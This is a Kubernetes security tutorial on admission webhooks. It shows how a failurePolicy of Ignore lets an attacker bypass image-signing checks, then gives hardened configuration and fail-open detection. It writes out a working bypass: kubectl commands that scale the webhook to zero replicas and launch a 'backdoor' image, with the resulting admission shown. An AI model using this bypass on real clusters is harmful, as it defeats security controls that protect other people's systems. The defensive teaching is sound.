Webhook security & bypasses

failurePolicy, exclusions, and the webhook as target.

A security gate that opens itself the moment it gets overwhelmed isn't really a gate. Plenty of admission webhooks work exactly that way, and most teams don't find out until an incident writes the postmortem. The failing branch barely shows up in testing, because during a test the webhook is always up and the interesting path never runs. Quick refresher: an admission webhook is a bouncer the API server calls before it writes anything to the cluster. You ask to create a pod, the API server phones the webhook over HTTPS, the webhook answers admit or deny, and only then does the object become real. The whole security story hangs on one question nobody asks at install time. What happens when the bouncer doesn't pick up the phone?

Fail open: the guard who waves you through

Every webhook carries a failurePolicy, and it has two settings that are exact opposites. Ignore says: if the webhook is unreachable or too slow, admit the request anyway. Fail says: if the webhook can't be reached, reject it. Ignore fails open, Fail fails closed. Now read that again as an attacker. If a webhook checks that every container image is signed and its policy is Ignore, you never have to beat the check. You only have to make the webhook miss the call. Delete its pod, flood the API server so the request runs past timeoutSeconds (a call that answers slowly is treated exactly like a call to something dead), or just wait for the next redeploy window. Your unsigned backdoor image walks right in. That's the guard who stops checking IDs the second the line gets long.

kubectl get validatingwebhookconfigurations -o json \
  | jq -r '.items[].webhooks[]
      | [.name, .failurePolicy, (.timeoutSeconds|tostring)+"s"] | @tsv'

image-policy.acme.io      Ignore  30s
validate.kyverno.svc      Fail    10s
validation.gatekeeper.sh  Fail    3s

That first row is the target. Ignore with a 30-second timeout means the gate is open for a full 30 seconds every time the webhook stumbles. Here's the idea run end to end. Say you've compromised a service account (SA = the identity a pod runs as) in the policy namespace that can scale deployments. Take the webhook's Deployment to zero replicas, then create the pod the webhook was built to block. The API server tries to reach a service with no healthy endpoints, the call errors, and because the policy is Ignore the pod is admitted anyway. Scaling to zero is the loud way to do it. The quiet way is to leave the webhook running and bury the API server in requests until its call can't return inside timeoutSeconds, since a slow verdict and a missing verdict are the same event to the failure policy. Two more gaps live right next door. A namespaceSelector that skips a namespace means anything you can place there is never checked at all, so a broad exclusion is a permanent bypass. And matchPolicy: Exact only matches the literal API path in the rule, so the same object sent through a different API version or a subresource slides past; Equivalent closes that.

kubectl -n policy scale deploy/image-verifier --replicas=0
kubectl run rogue --image=ghcr.io/evil/backdoor:latest --restart=Never

deployment.apps/image-verifier scaled
Warning: failed calling webhook "image-policy.acme.io": failed to call webhook: Post "https://image-verifier.policy.svc:443/validate?timeout=30s": no endpoints available for service "image-verifier"
pod/rogue created

Close the gate for real

The fix is a bundle, not a single flag. Set failurePolicy: Fail so a missing verdict means no admission. Keep timeoutSeconds tight (5 seconds is plenty) and earn the right to fail closed by making the webhook genuinely available: several replicas spread across nodes, a PodDisruptionBudget (PDB, the object that stops an upgrade from draining every replica at once), and a health probe. The probe earns its keep here, because it pulls a wedged replica out of the service before it starts swallowing calls. Swap blanket namespace exclusions for an opt-in label, so a namespace is covered unless something you control explicitly marks it as skippable. Add matchPolicy: Equivalent. And treat write access to webhook configs as control-plane power, because whoever can create or edit a MutatingWebhookConfiguration can inject a sidecar into every pod in the cluster. Lock that RBAC (Role-Based Access Control, the rules for who can do what) down hard and alert on any change to these objects.

apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
  name: image-policy
webhooks:
  - name: image-policy.acme.io
    failurePolicy: Fail            # fail closed: no verdict means no admission
    timeoutSeconds: 5              # tight, because the service is highly available
    matchPolicy: Equivalent       # also catch alternate API versions/subresources
    sideEffects: None
    admissionReviewVersions: ["v1"]
    namespaceSelector:
      matchLabels:
        image-policy.acme.io/enforce: "true"   # opt-in, no blanket skips
    objectSelector:
      matchExpressions:
        - key: image-policy.acme.io/skip
          operator: DoesNotExist
    clientConfig:
      service:
        name: image-verifier
        namespace: policy
        path: /validate
    rules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE", "UPDATE"]
        resources: ["pods"]
        scope: Namespaced

deployment.apps/image-verifier scaled
Error from server (InternalError): Internal error occurred: failed calling webhook "image-policy.acme.io": failed to call webhook: Post "https://image-verifier.policy.svc:443/validate?timeout=5s": no endpoints available for service "image-verifier"

Detection is refreshingly direct here, because the API server counts its own fail-open events. Every time a webhook is waved through on failure, the metric apiserver_admission_webhook_fail_open_count ticks up, labeled by webhook name. A healthy cluster sits at zero. Anything above zero means your gate has been open for live traffic, and a rising count during a deploy or a load spike is the exact signature of the bypass above. Read what the counter actually measures. It doesn't track latency or load. It tracks how many times a live request got written without your policy ever running on it, and zero is the only number you want to see.

kubectl get --raw /metrics \
  | grep apiserver_admission_webhook_fail_open_count

apiserver_admission_webhook_fail_open_count{name="image-policy.acme.io",type="validate"} 4
apiserver_admission_webhook_fail_open_count{name="validation.gatekeeper.sh",type="validate"} 0

Scrape that into Prometheus and alert on any increase. Pair it with an audit-log rule that fires on create, update, or delete of validatingwebhookconfigurations and mutatingwebhookconfigurations, so a tampered or deleted gate pages you instead of going quiet. Between the metric and the audit rule you catch both ways the gate opens: the webhook falling over, and someone editing the config that governs it.

One theme keeps returning: the webhook's verdict is trusted absolutely, so everything that protects it (its RBAC, its uptime, and who can edit its config) is security-critical. Follow that trust one layer down and you reach the place every admission decision is ultimately written and read. That's where we go next, into the control plane and etcd, the cluster's key-value database, where an attacker who reaches the datastore directly skips admission altogether.

Try this

Work through “Close the gate for real” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: failurePolicy: Fail can brick the cluster if it points at itself. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related